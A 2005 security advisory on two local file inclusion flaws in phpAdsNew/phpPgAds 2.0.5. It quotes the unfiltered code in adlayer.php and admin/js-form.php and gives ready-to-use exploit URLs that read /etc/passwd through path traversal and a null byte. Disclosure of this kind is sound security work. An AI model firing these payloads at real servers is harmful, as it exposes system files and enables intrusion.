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[phpAdsNew/phpPgAds 2.0.5 Local file inclusion cXIb8O3.16]

Author: Maksymilian Arciemowicz (cXIb8O3)
from SECURITYREASON.COM TEAM

Date: 14.07.2005 (01:54 GMT+01.00)

- --- 0.Description ---
phpAdsNew is an open-source ad server, with an integrated banner management interface and tracking system for gathering statistics. With phpAdsNew you can easily rotate paid banners and your own in-house advertisements. You can even integrate banners from third party advertising companies.

- --- 1. Local file inclusion ---
In phpAdsNew and phpPgAds 2.0.5 exists two bugs. First bug exist in adlayer.php.

Code:
- -151-153---
phpAds_registerGlobal ('what', 'clientid', 'clientID', 'context',
'target', 'source', 'withtext', 'withText',
'layerstyle');
- -151-153---

and

- -178-182---
if (!isset($layerstyle) || empty($layerstyle)) $layerstyle = 'geocities';


// Include layerstyle
require(phpAds_path.'/libraries/layerstyles/'.$layerstyle.'/layerstyle.inc.php');
- -178-182---

Varible $layerstyle isn't filtered and you can try to include local file.


For example error:

http://[HOST]/[DIR]/adlayer.php?layerstyle=securityreason.com

and you can see error like this:

- ---
<br />
<b>Warning</b>: main(): Unable to access ./libraries/layerstyles/securityreason.com/layerstyle.inc.php in <b>/www/phpadsnew-2.0.5/adlayer.php</b> on line <b>181</b><br />
<br />
<b>Warning</b>: main(./libraries/layerstyles/securityreason.com/layerstyle.inc.php): failed to open stream: No such file or directory in <b>/www/phpadsnew-2.0.5/phpadsnew-2.0.5/adlayer.php</b> on line <b>181</b><br />
<br />
<b>Fatal error</b>: main(): Failed opening required './libraries/layerstyles/securityreason.com/layerstyle.inc.php' (include_path='.:') in <b>/www/phpadsnew-2.0.5/adlayer.php</b> on line <b>181</b><br />
- ---

Exploit:
http://[HOST]/[DIR]/adlayer.php?layerstyle=../../../../../../../etc/passwd%00

Magic_quotes must be OFF .

Next problem exist in ./admin/js-form.php

Code:
- -26-28---
@include (phpAds_path.'/language/english/default.lang.php');
if ($HTTP_GET_VARS['language'] != 'english' && file_exists(phpAds_path.'/language/'.$HTTP_GET_VARS['language'].'/default.lang.php'))
@include (phpAds_path.'/language/'.$HTTP_GET_VARS['language'].'/default.lang.php');
- -26-28---

And if magic_quotes_gpc = Off, you can do attack.
Exploit:

http://[HOST]/[DIR]/admin/js-form.php?language=../../../../../../../../../../etc/passwd%00

but here you don't see any error because first is function file_exists.

- --- 3. How to fix ---

Download the new version of the script.

- --- 4. Greets ---

sp3x

- --- 5.Contact ---
Author: Maksymilian Arciemowicz < cXIb8O3 >
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG-KEY: http://securityreason.com
WWW: http://securityreason.com

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